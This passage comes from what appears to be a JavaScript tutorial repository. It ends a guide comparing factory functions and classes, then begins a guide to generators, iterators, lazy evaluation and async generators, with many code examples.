──► Use Class with extends │ │ NO ──▼ │ │ │ │ Do you need to mix multiple behaviors? │ │ YES ──► Use Factory with composition │ │ NO ──▼ │ │ │ │ Do you need truly private data? │ │ YES ──► Either works (Factory closures OR Class with #) │ │ NO ──▼ │ │ │ │ Is your team familiar with OOP? │ │ YES ──► Use Class (more familiar syntax) │ │ NO ──► Use Factory (simpler mental model) │ └─────────────────────────────────────────────────────────────────────┘ ``` ### Real-World Examples **React Components (Classes → Functions)** ```javascript // Old: Class components class Button extends React.Component { render() { return <button>{this.props.label}</button>; } } // Modern: Function components (like factories) function Button({ label }) { return <button>{label}</button>; } ``` **Game Entities (Classes for hierarchy)** ```javascript class Entity { } class Character extends Entity { } class Player extends Character { } class NPC extends Character { } ``` **Utility Objects (Factories for flexibility)** ```javascript const logger = createLogger({ level: 'debug', prefix: '[App]' }); const cache = createCache({ maxSize: 100, ttl: 3600 }); ``` --- ## Key Takeaways <Info> **The key things to remember:** 1. **Factory functions** are regular functions that return objects — simple and flexible 2. **Constructor functions** are used with `new` to create instances — the traditional approach 3. **ES6 classes** are syntactic sugar over constructors — cleaner syntax, same behavior 4. **The `new` keyword** creates an object, links its prototype, runs the constructor, and returns the result 5. **Prototype methods** are shared by all instances — saves memory 6. **Private fields (#)** provide true privacy in classes — can't be accessed from outside 7. **Closures** provide true privacy in factories — variables trapped in function scope 8. **Static methods** belong to the class itself, not instances — use for utilities and factory methods 9. **Inheritance (`extends`)** creates "is-a" relationships — use for clear hierarchies 10. **Composition** creates "has-a" relationships — more flexible than inheritance 11. **Use classes** when you need `instanceof`, clear hierarchies, or team familiarity 12. **Use factories** when you need composition, true privacy, or functional style </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What are the 4 steps the new keyword performs?"> **Answer:** When you call `new Constructor(args)`: 1. **Create** a new empty object (`{}`) 2. **Link** the object's prototype to `Constructor.prototype` 3. **Execute** the constructor with `this` bound to the new object 4. **Return** the object (unless constructor returns a different object) ```javascript function myNew(Constructor, ...args) { const obj = Object.create(Constructor.prototype); // Steps 1-2 const result = Constructor.apply(obj, args); // Step 3 return (typeof result === 'object' && result !== null) ? result : obj; // Step 4 } ``` </Accordion> <Accordion title="Question 2: What's the difference between instance methods and prototype methods?"> **Answer:** **Instance methods** are defined in the constructor — each instance gets its own copy: ```javascript function Player(name) { this.attack = function() { }; // Each player has own attack function } ``` **Prototype methods** are shared by all instances — more memory efficient: ```javascript Player.prototype.attack = function() { }; // All players share one function ``` In ES6 classes, methods defined in the class body are automatically prototype methods: ```javascript class Player { attack() { } // This goes on Player.prototype } ``` </Accordion> <Accordion title="Question 3: How do private fields (#) differ from closure-based privacy?"> **Answer:** | Aspect | Private Fields (#) | Closures | |--------|-------------------|----------| | Syntax | `this.#field` | `let variable` in factory | | Error on access | SyntaxError | Returns `undefined` | | Memory | Efficient (shared methods) | Each instance has own methods | | `instanceof` | Works | Doesn't work | ```javascript // Private Fields class Wallet { #balance = 0; getBalance() { return this.#balance; } } // w.#balance throws SyntaxError // Closures function createWallet() { let balance = 0; return { getBalance() { return balance; } }; } // w.balance returns undefined ``` </Accordion> <Accordion title="Question 4: What does super() do and when must you call it?"> **Answer:** `super()` calls the parent class's constructor. You **must** call it in a derived class constructor **before** using `this`. ```javascript class Animal { constructor(name) { this.name = name; } } class Dog extends Animal { constructor(name, breed) { // this.breed = breed; // ERROR! Can't use 'this' yet super(name); // Call parent constructor first this.breed = breed; // Now 'this' is available } } ``` `super.method()` calls a parent's method from within an overriding method. </Accordion> <Accordion title="Question 5: When would you use composition over inheritance?"> **Answer:** Use **composition** when: - You need to mix behaviors from multiple sources (a flying fish, a swimming bird) - The "is-a" relationship doesn't make sense - You want loose coupling between components - You need flexibility to change behaviors at runtime Use **inheritance** when: - There's a clear "is-a" hierarchy (Dog is an Animal) - You need `instanceof` checks - You want to share implementation, not just interface **Rule of thumb:** "Favor composition over inheritance" — composition is more flexible. </Accordion> <Accordion title="Question 6: Why are ES6 classes called 'syntactic sugar'?"> **Answer:** Classes are called "syntactic sugar" because they don't add new functionality — they just provide a cleaner syntax for constructor functions and prototypes. ```javascript // This class... class Player { constructor(name) { this.name = name; } attack() { return `${this.name} attacks!`; } } // ...is equivalent to: function Player(name) { this.name = name; } Player.prototype.attack = function() { return `${this.name} attacks!`; }; // Both create the same result: typeof Player === 'function' // true for both ``` The class syntax makes the code easier to read and write, but under the hood, JavaScript is still using prototypes. </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is the difference between factory functions and classes in JavaScript?"> Factory functions are regular functions that return new objects. Classes are syntactic sugar over constructor functions and prototypes, using the `class` keyword and `new` operator. Factories offer simpler composition and true privacy through closures, while classes provide a familiar OOP syntax and share methods efficiently via the prototype chain. </Accordion> <Accordion title="Are JavaScript classes real classes like in Java or C++?"> No. As stated in the ECMAScript specification, JavaScript classes are primarily syntactic sugar over the existing prototype-based inheritance model. Under the hood, a `class` declaration creates a constructor function with methods on its prototype. Unlike classical OOP languages, JavaScript does not have true class-based inheritance — it uses prototypal delegation. </Accordion> <Accordion title="What are private fields in JavaScript classes?"> Private fields, prefixed with `#`, are truly private properties that cannot be accessed outside the class body. They were standardized in ECMAScript 2022 and are enforced by the JavaScript engine at the language level. Unlike the underscore convention (`_name`), private fields throw a `SyntaxError` if accessed externally. </Accordion> <Accordion title="When should I use a factory function instead of a class?"> Use factories when you need true data privacy through closures, want to compose objects from multiple sources, or need to return different object types conditionally. Use classes when you want prototype-based method sharing, need `instanceof` checks, or work with frameworks that expect class syntax. According to the 2023 State of JS survey, class syntax is widely adopted, but factory patterns remain popular in functional-style codebases. </Accordion> <Accordion title="What does the new keyword do under the hood?"> The `new` keyword performs four steps: it creates a new empty object, links that object's prototype to the constructor's `prototype` property, executes the constructor with `this` bound to the new object, and returns the object (unless the constructor explicitly returns a different object). This is the same for both constructor functions and classes. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Object Creation & Prototypes" icon="link" href="/concepts/object-creation-prototypes"> Deep dive into JavaScript's prototype chain, Object.create(), and how the new keyword works under the hood </Card> <Card title="this, call, apply, bind" icon="hand-pointer" href="/concepts/this-call-apply-bind"> Understanding this binding in different contexts </Card> <Card title="Inheritance and Polymorphism" icon="sitemap" href="/concepts/inheritance-polymorphism"> Advanced inheritance patterns and polymorphism in JavaScript </Card> <Card title="Design Patterns" icon="compass" href="/concepts/design-patterns"> Common patterns including Factory, Singleton, and more </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Classes — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes"> Official MDN documentation on ES6 classes </Card> <Card title="Private class features — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes/Private_class_fields"> Documentation on private fields and methods </Card> <Card title="new operator — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new"> How the new keyword works </Card> <Card title="Object.create() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create"> Creating objects with specific prototypes </Card> </CardGroup> --- ## Articles <CardGroup cols={2}> <Card title="How To Use Classes in JavaScript" icon="newspaper" href="https://www.digitalocean.com/community/tutorials/understanding-classes-in-javascript"> Tania builds a Character class step by step, adding features one at a time. Great if you want to follow along and type the code yourself. </Card> <Card title="JavaScript Classes — Under The Hood" icon="newspaper" href="https://talkingtech.io/javascript-classes-under-the-hood/"> Shows the ES5 equivalent of every ES6 class feature side by side. Read this to understand what JavaScript is really doing when you write a class. </Card> <Card title="Factory Functions in JavaScript" icon="newspaper" href="https://atendesigngroup.com/blog/factory-functions-javascript"> A classic introduction to factory functions using a Car example. Shows the self-pattern for avoiding `this` issues and private variables with closures. </Card> <Card title="Class vs Factory function" icon="newspaper" href="https://medium.freecodecamp.org/class-vs-factory-function-exploring-the-way-forward-73258b6a8d15"> Cristi Salcescu's comparison of both approaches with pros, cons, and when to use each. </Card> <Card title="Composition vs Inheritance" icon="newspaper" href="https://ui.dev/javascript-inheritance-vs-composition/"> Uses a game character example to show how composition avoids the problems of deep inheritance. Includes the mixin pattern for adding behaviors. </Card> <Card title="Understanding super in JavaScript" icon="newspaper" href="https://jordankasper.com/understanding-super-in-javascript"> Explains when and why you need super() with clear error examples. Covers the "must call super before this" rule that trips up beginners. </Card> </CardGroup> --- ## Videos <CardGroup cols={2}> <Card title="JavaScript Factory Functions" icon="video" href="https://www.youtube.com/watch?v=jpegXpQpb3o"> Mosh builds a circle factory from scratch in under 10 minutes. Good starting point if you've never seen factories before. </Card> <Card title="Factory Functions in JavaScript" icon="video" href="https://www.youtube.com/watch?v=ImwrezYhw4w"> MPJ's signature conversational style makes factories feel approachable. Includes the "why not just use classes?" discussion. </Card> <Card title="Composition over Inheritance" icon="video" href="https://www.youtube.com/watch?v=wfMtDGfHWpA"> Fun Fun Function explains why composition is often better than inheritance with the "Gorilla-Banana" problem. </Card> <Card title="JavaScript Classes Tutorial" icon="video" href="https://www.youtube.com/watch?v=2ZphE5HcQPQ"> Traversy covers classes from basic syntax to private fields in one video. Watch at 1.5x speed for a quick refresher. </Card> </CardGroup> ================================================ FILE: docs/concepts/generators-iterators.mdx ================================================ --- title: "Generators & Iterators" sidebarTitle: "Generators & Iterators: Pausable Functions" description: "Learn JavaScript generators and iterators. Understand yield, lazy evaluation, infinite sequences, and async generators." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Async JavaScript" "article:tag": "javascript generators, iterators, yield keyword, lazy evaluation, async generators" --- What if a function could pause mid-execution, return a value, and then resume right where it left off? What if you could create a sequence of values that are computed only when you ask for them — not all at once? ```javascript // This function can PAUSE and RESUME function* countToThree() { yield 1 // Pause here, return 1 yield 2 // Resume, pause here, return 2 yield 3 // Resume, pause here, return 3 } const counter = countToThree() console.log(counter.next().value) // 1 console.log(counter.next().value) // 2 console.log(counter.next().value) // 3 ``` This is the power of **[generators](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Generator)**. Introduced in the ECMAScript 2015 specification, these are functions that can pause with `yield` and pick up where they left off. Combined with **[iterators](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols)** (objects that define how to step through a sequence), they open up patterns like lazy evaluation, infinite sequences, and clean data pipelines. <Info> **What you'll learn in this guide:** - What iterators are and how the iteration protocol works - Generator functions with `function*` and `yield` (they're lazier than you think) - The difference between `yield` and `return` (it trips people up!) - How to make any object iterable with `Symbol.iterator` - Lazy evaluation — why generators are so memory-efficient - Practical patterns: pagination, ID generation, state machines - Async generators and `for await...of` for streaming data </Info> <Warning> **Prerequisites:** This guide assumes you're comfortable with [closures](/concepts/scope-and-closures) and [higher-order functions](/concepts/higher-order-functions). If those concepts are new to you, read those guides first! </Warning> --- ## What is an Iterator? Before getting into generators, we need to cover **iterators**, the foundation that makes generators work. An **[iterator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#the_iterator_protocol)** is an object that defines a sequence and provides a way to access values one at a time. It must have a `.next()` method that returns an object with two properties: - `value` — the next value in the sequence - `done` — `true` if the sequence is finished, `false` otherwise ```javascript // Creating an iterator manually function createCounterIterator(max) { let count = 0 return { next() { if (count < max) { return { value: count++, done: false } } else { return { value: undefined, done: true } } } } } const counter = createCounterIterator(3) console.log(counter.next()) // { value: 0, done: false } console.log(counter.next()) // { value: 1, done: false } console.log(counter.next()) // { value: 2, done: false } console.log(counter.next()) // { value: undefined, done: true } ``` ### Why Iterators? Why not just use an array? Two reasons: 1. **Lazy evaluation** — Values are computed only when you ask for them, not upfront 2. **Memory efficiency** — You don't need to hold the entire sequence in memory Say you need to process a million records. With an array, you'd load all million into memory. With an iterator, you process one at a time. Memory stays flat. ### Built-in Iterables Many JavaScript built-ins are already **iterable** (they have iterators built in): | Type | Example | What it iterates over | |------|---------|----------------------| | **Array** | `[1, 2, 3]` | Each element | | **String** | `"hello"` | Each character | | **Map** | `new Map([['a', 1]])` | Each `[key, value]` pair | | **Set** | `new Set([1, 2, 3])` | Each unique value | | **arguments** | `arguments` object | Each argument passed to a function | | **NodeList** | `document.querySelectorAll('div')` | Each DOM node | You can access their iterator using `Symbol.iterator`: ```javascript const arr = [10, 20, 30] const iterator = arr[Symbol.iterator]() console.log(iterator.next()) // { value: 10, done: false } console.log(iterator.next()) // { value: 20, done: false } console.log(iterator.next()) // { value: 30, done: false } console.log(iterator.next()) // { value: undefined, done: true } ``` <Note> **`for...of` uses iterators under the hood.** When you write `for (const item of array)`, JavaScript is actually calling the iterator's `.next()` method repeatedly until `done` is `true`. According to the ECMAScript specification, any object that implements the `Symbol.iterator` method is considered iterable and can be used with `for...of`, spread syntax, and destructuring. </Note> --- ## The Vending Machine Analogy Generators click when you have the right mental picture. Think of them like a **vending machine**: ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ GENERATOR AS A VENDING MACHINE │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ YOU VENDING MACHINE │ │ (caller) (generator) │ │ │ │ ┌─────────┐ ┌─────────────────┐ │ │ │ │ │ ┌───────────┐ │ │ │ │ "I'll │ ──── Press button ─────────► │ │ Snack A │ │ │ │ │ have │ (call .next()) │ ├───────────┤ │ │ │ │ one" │ │ │ Snack B │ │ │ │ │ │ ◄─── Dispense one item ───── │ ├───────────┤ │ │ │ │ │ (yield value) │ │ Snack C │ │ │ │ │ │ │ └───────────┘ │ │ │ │ │ * Machine PAUSES * │ │ │ │ │ │ * Waits for next * │ [ PAUSED ] │ │ │ │ │ * button press * │ │ │ │ └─────────┘ └─────────────────┘ │ │ │ │ KEY INSIGHT: The machine remembers where it stopped! │ │ When you press the button again, it gives you the NEXT item, │ │ not the first one again. │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` Here's how this maps to generator concepts: | Vending Machine | Generator | |-----------------|-----------| | Press the button | Call `.next()` | | Machine dispenses one item | `yield` returns a value | | Machine pauses, waits | Generator pauses at `yield` | | Press button again | Call `.next()` again | | Machine remembers position | Generator remembers its state | | Machine is empty | `done: true` | A generator works the same way: one value at a time, pausing between each. --- ## What is a Generator? A **[generator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Generator)** is a function that can stop mid-execution, hand you a value, and pick up where it left off later. You create one using `function*` (note the asterisk) and pause it with the `yield` keyword. ```javascript // The asterisk (*) makes this a generator function function* myGenerator() { console.log('Starting...') yield 'First value' console.log('Resuming...') yield 'Second value' console.log('Finishing...') return 'Done!' } ``` When you call a generator function, the code inside doesn't run yet. You just get back a **generator object** (which is an iterator): ```javascript const gen = myGenerator() // Nothing logs yet! console.log(gen) // Object [Generator] {} ``` The code only runs when you call `.next()`: ```javascript const gen = myGenerator() // First .next() — runs until first yield console.log(gen.next()) // Logs: "Starting..." // Returns: { value: 'First value', done: false } // Second .next() — resumes and runs until second yield console.log(gen.next()) // Logs: "Resuming..." // Returns: { value: 'Second value', done: false } // Third .next() — resumes and runs to the end console.log(gen.next()) // Logs: "Finishing..." // Returns: { value: 'Done!', done: true } // Fourth .next() — generator is exhausted console.log(gen.next()) // Returns: { value: undefined, done: true } ``` ### Generators are Iterators Because generator objects follow the iterator protocol, you can use them with `for...of`: ```javascript function* colors() { yield 'red' yield 'green' yield 'blue' } for (const color of colors()) { console.log(color) } // Output: // red // green // blue ``` You can also spread them into arrays: ```javascript function* numbers() { yield 1 yield 2 yield 3 } const arr = [...numbers()] console.log(arr) // [1, 2, 3] ``` <CardGroup cols={2}> <Card title="Generator — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Generator"> Official MDN documentation for Generator objects </Card> <Card title="function* — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/function*"> Documentation for the generator function syntax </Card> </CardGroup> --- ## The `yield` Keyword Deep Dive `yield` is what makes generators tick. It pauses the function and sends a value back to the caller. When you call `.next()` again, execution picks up right after the `yield`. ### Basic `yield` ```javascript function* countdown() { yield 3 yield 2 yield 1 yield 'Liftoff!' } const rocket = countdown() console.log(rocket.next().value) // 3 console.log(rocket.next().value) // 2 console.log(rocket.next().value) // 1 console.log(rocket.next().value) // "Liftoff!" ``` ### `yield` vs `return` Both `yield` and `return` can return values, but they behave very differently: | `yield` | `return` | |---------|----------| | Pauses the generator | Ends the generator | | `done: false` | `done: true` | | Can have multiple | Only one matters | | Value accessible in `for...of` | Value NOT accessible in `for...of` | ```javascript function* example() { yield 'A' // Pauses, done: false yield 'B' // Pauses, done: false return 'C' // Ends, done: true } // With for...of — return value is ignored! for (const val of example()) { console.log(val) } // Output: A, B (no C!) // With .next() — you can see the return value const gen = example() console.log(gen.next()) // { value: 'A', done: false } console.log(gen.next()) // { value: 'B', done: false } console.log(gen.next()) // { value: 'C', done: true } ``` <Warning> **Common gotcha:** The value from `return` is not included when iterating with `for...of`, spread syntax, or `Array.from()`. Use `yield` for all values you want to iterate over. </Warning> ### `yield*` — Delegating to Other Iterables When you want to pass through all values from another iterable, use `yield*`: ```javascript function* inner() { yield 'a' yield 'b' } function* outer() { yield 1 yield* inner() // Delegates to inner generator yield 2 } console.log([...outer()]) // [1, 'a', 'b', 2] ``` `yield*` shines when flattening nested structures: ```javascript function* flatten(arr) { for (const item of arr) { if (Array.isArray(item)) { yield* flatten(item) // Recursively delegate } else { yield item } } } const nested = [1, [2, 3, [4, 5]], 6] console.log([...flatten(nested)]) // [1, 2, 3, 4, 5, 6] ``` ### Passing Values INTO Generators You can also send values *into* a generator by passing them to `.next(value)`. The value becomes the result of the `yield` expression inside the generator: ```javascript function* conversation() { const name = yield 'What is your name?' const color = yield `Hello, ${name}! What's your favorite color?` yield `${color} is a great color, ${name}!` } const chat = conversation() // First .next() — no value needed, just starts the generator console.log(chat.next().value) // "What is your name?" // Second .next() — pass in the answer console.log(chat.next('Alice').value) // "Hello, Alice! What's your favorite color?" // Third .next() — pass in another answer console.log(chat.next('Blue').value) // "Blue is a great color, Alice!" ``` ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ DATA FLOW WITH yield │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ CALLER GENERATOR │ │ │ │ .next() ─────────────────────► starts execution │ │ ◄───────────────────── yield 'question' │ │ │ │ .next('Alice') ─────────────────────► const name = 'Alice' │ │ ◄───────────────────── yield 'Hello Alice' │ │ │ │ .next('Blue') ─────────────────────► const color = 'Blue' │ │ ◄───────────────────── yield 'Blue is great' │ │ │ │ The value passed to .next() becomes the RESULT of the yield │ │ expression inside the generator. │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` <Note> **Why no value in the first `.next()`?** The first call starts the generator and runs until the first `yield`. There's no `yield` waiting to receive a value yet, so anything you pass gets ignored. </Note> ### Generator Control Methods: `.return()` and `.throw()` Beyond `.next()`, generators have two more control methods that give you full control over execution. #### Early Termination with `.return()` The `.return(value)` method ends the generator immediately and returns the specified value: ```javascript function* countdown() { yield 3 yield 2 yield 1 yield 'Liftoff!' } const rocket = countdown() console.log(rocket.next()) // { value: 3, done: false } console.log(rocket.return('Aborted')) // { value: 'Aborted', done: true } console.log(rocket.next()) // { value: undefined, done: true } // Generator is now closed — subsequent .next() calls return done: true ``` This is useful for cleanup or when you need to stop iteration early. #### Error Injection with `.throw()` The `.throw(error)` method throws an exception at the current `yield` point. If the generator has a `try/catch`, it can handle the error: ```javascript function* resilientGenerator() { try { yield 'A' yield 'B' yield 'C' } catch (e) { yield `Caught: ${e.message}` } yield 'Done' } const gen = resilientGenerator() console.log(gen.next().value) // "A" console.log(gen.throw(new Error('Oops!')).value) // "Caught: Oops!" console.log(gen.next().value) // "Done" ``` If there's no `try/catch`, the error propagates out: ```javascript function* fragileGenerator() { yield 'A' yield 'B' // Error thrown here if we call .throw() after first yield } const gen = fragileGenerator() gen.next() // { value: 'A', done: false } try { gen.throw(new Error('Boom!')) } catch (e) { console.log(e.message) // "Boom!" } ``` <Tip> These methods complete the generator's interface. While `.next()` is used most often, `.return()` and `.throw()` give you full control over generator execution — useful for resource cleanup and error handling in complex workflows. </Tip> --- ## The Iteration Protocol (`Symbol.iterator`) Now for the fun part: making your own objects work with `for...of`. An object is **iterable** if it has a `[Symbol.iterator]` method that returns an iterator. ### Making a Custom Object Iterable ```javascript const myCollection = { items: ['apple', 'banana', 'cherry'], // This makes the object iterable [Symbol.iterator]() { let index = 0 const items = this.items return { next() { if (index < items.length) { return { value: items[index++], done: false } } else { return { value: undefined, done: true } } } } } } // Now we can use for...of! for (const item of myCollection) { console.log(item) } // Output: apple, banana, cherry // And spread syntax! console.log([...myCollection]) // ['apple', 'banana', 'cherry'] ``` ### Using Generators to Simplify Iterators All that manual iterator code? Generators cut it down to almost nothing: ```javascript const myCollection = { items: ['apple', 'banana', 'cherry'], // Generator as the Symbol.iterator method *[Symbol.iterator]() { for (const item of this.items) { yield item } } } for (const item of myCollection) { console.log(item) } // Output: apple, banana, cherry ``` ### Example: Creating an Iterable Range Here's a `Range` class you can loop over with `for...of`: ```javascript class Range { constructor(start, end, step = 1) { this.start = start this.end = end this.step = step } // Generator makes this easy! *[Symbol.iterator]() { for (let i = this.start; i <= this.end; i += this.step) { yield i } } } const oneToFive = new Range(1, 5) console.log([...oneToFive]) // [1, 2, 3, 4, 5] const evens = new Range(0, 10, 2) console.log([...evens]) // [0, 2, 4, 6, 8, 10] // Works with for...of for (const n of new Range(1, 3)) { console.log(n) // 1, 2, 3 } ``` ### What `for...of` Really Does When you write a `for...of` loop, JavaScript does this behind the scenes: <Steps> <Step title="Get the iterator"> JavaScript calls `iterable[Symbol.iterator]()` to get an iterator object. </Step> <Step title="Call .next()"> The loop calls `iterator.next()` to get the first `{ value, done }` result. </Step> <Step title="Check if done"> If `done` is `false`, the `value` goes into your loop variable. </Step> <Step title="Repeat until done"> Steps 2-3 repeat until `done` is `true`, then the loop exits. </Step> </Steps> Here's what that looks like in code: ```javascript // This: for (const item of iterable) { console.log(item) } // Is equivalent to this: const iterator = iterable[Symbol.iterator]() let result = iterator.next() while (!result.done) { const item = result.value console.log(item) result = iterator.next() } ``` <Tip> **When to make something iterable:** If your object represents a collection or sequence of values, making it iterable allows it to work with `for...of`, spread syntax, `Array.from()`, destructuring, and more. </Tip> --- ## Lazy Evaluation & Infinite Sequences The killer feature of generators is **lazy evaluation**. Values are computed only when you ask for them, not ahead of time. ### Memory Efficiency Compare these two approaches for creating a range of numbers: ```javascript // Eager evaluation — creates entire array in memory function rangeArray(start, end) { const result = [] for (let i = start; i <= end; i++) { result.push(i) } return result } // Lazy evaluation — computes values on demand function* rangeGenerator(start, end) { for (let i = start; i <= end; i++) { yield i } } // For small ranges, both work fine console.log(rangeArray(1, 5)) // [1, 2, 3, 4, 5] console.log([...rangeGenerator(1, 5)]) // [1, 2, 3, 4, 5] // For large ranges, generators shine // rangeArray(1, 1000000) — Creates array of 1 million numbers! // rangeGenerator(1, 1000000) — Creates nothing until you iterate ``` ### Infinite Sequences Because generators are lazy, you can create **infinite sequences**, something impossible with arrays: ```javascript // Infinite sequence of natural numbers function* naturalNumbers() { let n = 1 while (true) { // Infinite loop! yield n++ } } // This would crash with an array, but generators are lazy const numbers = naturalNumbers() console.log(numbers.next().value) // 1 console.log(numbers.next().value) // 2 console.log(numbers.next().value) // 3 // We can keep going forever... ``` ### Fibonacci Sequence A classic example: the infinite Fibonacci sequence: ```javascript function* fibonacci() { let prev = 0 let curr = 1 while (true) { yield curr const next = prev + curr prev = curr curr = next } } const fib = fibonacci() console.log(fib.next().value) // 1 console.log(fib.next().value) // 1 console.log(fib.next().value) // 2 console.log(fib.next().value) // 3 console.log(fib.next().value) // 5 console.log(fib.next().value) // 8 ``` ### Taking N Items from an Infinite Generator You'll often want to take a limited number of items from an infinite generator: ```javascript // Helper function to take N items from any iterable function* take(n, iterable) { let count = 0 for (const item of iterable) { if (count >= n) return yield item count++ } } // Get first 10 Fibonacci numbers const firstTenFib = [...take(10, fibonacci())] console.log(firstTenFib) // [1, 1, 2, 3, 5, 8, 13, 21, 34, 55] // Get first 5 natural numbers const firstFive = [...take(5, naturalNumbers())] console.log(firstFive) // [1, 2, 3, 4, 5] ``` <Warning> **Be careful with infinite generators!** Never use `[...infiniteGenerator()]` or `for...of` on an infinite generator without a break condition. Your program will hang trying to iterate forever. ```javascript // ❌ DANGER — This will hang/crash! const all = [...naturalNumbers()] // Trying to collect infinite items // ✓ SAFE — Use take() or break early const some = [...take(100, naturalNumbers())] ``` </Warning> --- ## Common Patterns Here are some patterns that make generators worth knowing. ### Pattern 1: Unique ID Generator Generate unique IDs without tracking global state: ```javascript function* createIdGenerator(prefix = 'id') { let id = 1 while (true) { yield `${prefix}_${id++}` } } const userIds = createIdGenerator('user') const orderIds = createIdGenerator('order') console.log(userIds.next().value) // "user_1" console.log(userIds.next().value) // "user_2" console.log(orderIds.next().value) // "order_1" console.log(userIds.next().value) // "user_3" console.log(orderIds.next().value) // "order_2" ``` ### Pattern 2: Pagination / Chunking Data Process large datasets in manageable chunks: ```javascript function* chunk(array, size) { for (let i = 0; i < array.length; i += size) { yield array.slice(i, i + size) } } const data = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] for (const batch of chunk(data, 3)) { console.log('Processing batch:', batch) } // Output: // Processing batch: [1, 2, 3] // Processing batch: [4, 5, 6] // Processing batch: [7, 8, 9] // Processing batch: [10] ``` This is great for batch processing, API rate limiting, or breaking up heavy computations: ```javascript function* processInBatches(items, batchSize) { for (const batch of chunk(items, batchSize)) { // Process each batch const results = batch.map(item => heavyComputation(item)) yield results } } // Process 1000 items in batches of 100 const allItems = new Array(1000).fill(null).map((_, i) => i) for (const batchResults of processInBatches(allItems, 100)) { console.log(`Processed ${batchResults.length} items`) // Could add delay here to avoid blocking the main thread } ``` ### Pattern 3: Filtering and Transforming Data Create composable data pipelines: ```javascript function* filter(iterable, predicate) { for (const item of iterable) { if (predicate(item)) { yield item } } } function* map(iterable, transform) { for (const item of iterable) { yield transform(item) } } // Compose them together function* range(start, end) { for (let i = start; i <= end; i++) { yield i } } // Pipeline: numbers 1-10 → filter evens → double them const result = map( filter(range(1, 10), n => n % 2 === 0), n => n * 2 ) console.log([...result]) // [4, 8, 12, 16, 20] ``` ### Pattern 4: Simple State Machine Generators naturally model state machines because they remember their position: ```javascript function* trafficLight() { while (true) { yield 'green' yield 'yellow' yield 'red' } } const light = trafficLight() console.log(light.next().value) // "green" console.log(light.next().value) // "yellow" console.log(light.next().value) // "red" console.log(light.next().value) // "green" (cycles back) console.log(light.next().value) // "yellow" ``` A more complex example with different wait times: ```javascript function* trafficLightWithDurations() { while (true) { yield { color: 'green', duration: 30000 } // 30 seconds yield { color: 'yellow', duration: 5000 } // 5 seconds yield { color: 'red', duration: 25000 } // 25 seconds } } const light = trafficLightWithDurations() function changeLight() { const { color, duration } = light.next().value console.log(`Light is now ${color} for ${duration / 1000} seconds`) setTimeout(changeLight, duration) } // changeLight() // Uncomment to run ``` ### Pattern 5: Tree Traversal Generators work great for traversing trees: ```javascript function* traverseTree(node) { yield node.value if (node.children) { for (const child of node.children) { yield* traverseTree(child) // Recursive delegation } } } const tree = { value: 'root', children: [ { value: 'child1', children: [ { value: 'grandchild1' }, { value: 'grandchild2' } ] }, { value: 'child2', children: [ { value: 'grandchild3' } ] } ] } console.log([...traverseTree(tree)]) // ['root', 'child1', 'grandchild1', 'grandchild2', 'child2', 'grandchild3'] ``` --- ## Async Generators & `for await...of` What about yielding values from async operations like API calls, file reads, that kind of thing? That's what **async generators** are for. ### The Problem with Regular Generators Regular generators are synchronous. If you try to yield a Promise, you get the Promise object itself, not its resolved value: ```javascript function* fetchUsers() { yield fetch('/api/user/1').then(r => r.json()) yield fetch('/api/user/2').then(r => r.json()) } const gen = fetchUsers() console.log(gen.next().value) // Promise { <pending> } — not the user! ``` ### Async Generator Syntax An **[async generator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function*)** combines `async` functions with generators. You can `await` inside them, and you iterate with `for await...of`: ```javascript async function* fetchUsersAsync() { const user1 = await fetch('/api/user/1').then(r => r.json()) yield user1 const user2 = await fetch('/api/user/2').then(r => r.json()) yield user2 } // Use for await...of to consume async function displayUsers() { for await (const user of fetchUsersAsync()) { console.log(user.name) } } ``` ### Practical Example: Paginated API Fetch all pages of data from a paginated API: ```javascript async function* fetchAllPages(baseUrl) { let page = 1 let hasMore = true while (hasMore) { const response = await fetch(`${baseUrl}?page=${page}`) const data = await response.json() yield data.items // Yield this page's items hasMore = data.hasNextPage page++ } } // Process all pages async function processAllUsers() { for await (const pageOfUsers of fetchAllPages('/api/users')) { console.log(`Processing ${pageOfUsers.length} users...`) for (const user of pageOfUsers) { // Process each user await saveToDatabase(user) } } } ``` ### Async Generator vs Promise.all When do you reach for an async generator over `Promise.all`? ```javascript // Promise.all — All requests in parallel, wait for ALL to complete async function fetchAllAtOnce(userIds) { const users = await Promise.all( userIds.map(id => fetch(`/api/user/${id}`).then(r => r.json())) ) return users // Returns all users at once } // Async generator — Process as each completes async function* fetchOneByOne(userIds) { for (const id of userIds) { const user = await fetch(`/api/user/${id}`).then(r => r.json()) yield user // Yield each user as it's fetched } } ``` | Approach | Best for | |----------|----------| | `Promise.all` | When you need all results before proceeding | | Async generator | When you want to process results as they arrive | | Async generator | When fetching everything at once would be too memory-intensive | | Async generator | When you might want to stop early | ### Reading Lines from a Stream Here's a real pattern for processing a stream line by line: ```javascript async function* readLines(reader) { const decoder = new TextDecoder() let buffer = '' while (true) { const { done, value } = await reader.read() if (done) { if (buffer) yield buffer // Yield any remaining content return } buffer += 